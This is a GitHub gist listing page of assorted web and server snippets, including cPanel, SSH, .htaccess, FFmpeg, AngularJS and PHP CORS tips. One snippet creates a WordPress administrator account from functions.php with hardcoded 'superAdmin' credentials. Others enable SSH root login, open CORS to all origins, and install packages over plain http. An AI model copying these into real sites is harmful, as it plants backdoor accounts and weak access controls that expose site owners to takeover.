Skip to content

Instantly share code, notes, and snippets.

@sserbest
sserbest / index.html
Created February 16, 2022 07:13 — forked from courtnEMAIL/index.html
MktoForms2 :: Fieldset-at-a-Time (FSaaT) v1.0.2
<script src="//app-sj01.marketo.com/js/forms2/js/forms2.min.js"></script>
<form id="mktoForm_1075"></form>
<script>MktoForms2.loadForm("//app-sj01.marketo.com", "410-XOR-673", 1075);</script>
@sserbest
sserbest / TOS-custom-or-modified-studies.md
Created June 15, 2019 01:12 — forked from n8rzz/TOS-custom-or-modified-studies.md
customized studies for use within TDAmeritrade's ThinkOrSwim trading platform

ATRLatest

#
# TD Ameritrade IP Company, Inc. (c) 2014-2018
#
# Uses basic most recent value from ATR study then 
# displays value in a colorized label
#
# Modified by Nate Geslin (teamtomkins23@gmail.com)
@sserbest
sserbest / ssh-notes.md
Last active January 28, 2019 19:09
SSH’ing to different machines with the same IP

Like a lot of people, I ditched my desktop in 2007 and moved to a laptop as my main computer. I take my Macbook Pro to work everyday and it’s also my personal computer at home.

To make life simpler I have an almost identical network set up at home as we do in the office, using the same DHCP range and gateway address (our dev server is also our gateway in the office). So the development server I SSH into at work has the same IP as my home linux box. At work we have internal DNS set up, I’m a little more lazy at home and just refer to my linux box by IP.

A problem arises doing this though; since I connected to the office development server with SSH first, it got first place in my known_hosts file, consequently when I connect to my home linux server (with the same internal IP address) I’m presented with a warning ‘REMOTE HOST IDENTIFICATION HAS CHANGED!’ and I that I could be subject to a ‘man in the middle attack’.

SSH warning - remote host identification changed Oh noes! Of course this isn’t really the case

@sserbest
sserbest / create_wp_admin.php
Created October 1, 2018 14:47
Create WP Admin Account via functions.php
function wpb_admin_account(){
$user = 'superAdmin';
$pass = 'superAdmin';
$email = 'email@gmail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
@sserbest
sserbest / app.js
Created September 15, 2017 19:53
Automatically Scroll To Top Of Page With UI-Router In AngularJS
angular.module("app",[
'ngRoute',
'ui.router',
'ngMaterial',
'ngSanitize',
'ngCookies'
])
.config(function($stateProvider, $urlRouterProvider,$locationProvider,$uiViewScrollProvider){
$uiViewScrollProvider.useAnchorScroll();
})
@sserbest
sserbest / readme.md
Created July 7, 2017 15:52
Open SSH login on Cpanel

server's /etc/ssh/sshd_config:

To enable password authentication, uncomment

#PasswordAuthentication yes

To enable root login, uncomment

#PermitRootLogin yes
@sserbest
sserbest / readme.md
Created June 30, 2017 20:17
.htaccess non-www to www
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^(?!www\.)(.+) [NC]
RewriteRule ^(.*) http://www.%1/$1 [R=301,NE,L]
@sserbest
sserbest / readme.md
Created June 30, 2017 20:14
Changing Primary folder on Cpanel

For changing the main/primary domain, you will need to have root SSH access and be able to locate and edit the following file (replacing your user & domain info):

/var/cpanel/userdata/USERNAME/DOMAIN.COM
  1. Once you have opened the file, look for the following line:
documentroot: /home/USERNAME/public_html
@sserbest
sserbest / readme.md
Last active June 30, 2017 17:30
How to Install FFMPEG on CentOS 7

#Install EPEL repo

yum -y install epel-release
rpm --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm
yum -y install ffmpeg ffmpeg-devel

#check version

ffmpeg
@sserbest
sserbest / index.php
Created June 30, 2017 15:45
PHP CORS
public function __construct()
{
parent::__construct();
//CORS don't remove
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: X-API-KEY, Origin, X-Requested-With, Content-Type, Accept, Access-Control-Request-Method");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE");
$method = $_SERVER['REQUEST_METHOD'];
if($method == "OPTIONS") {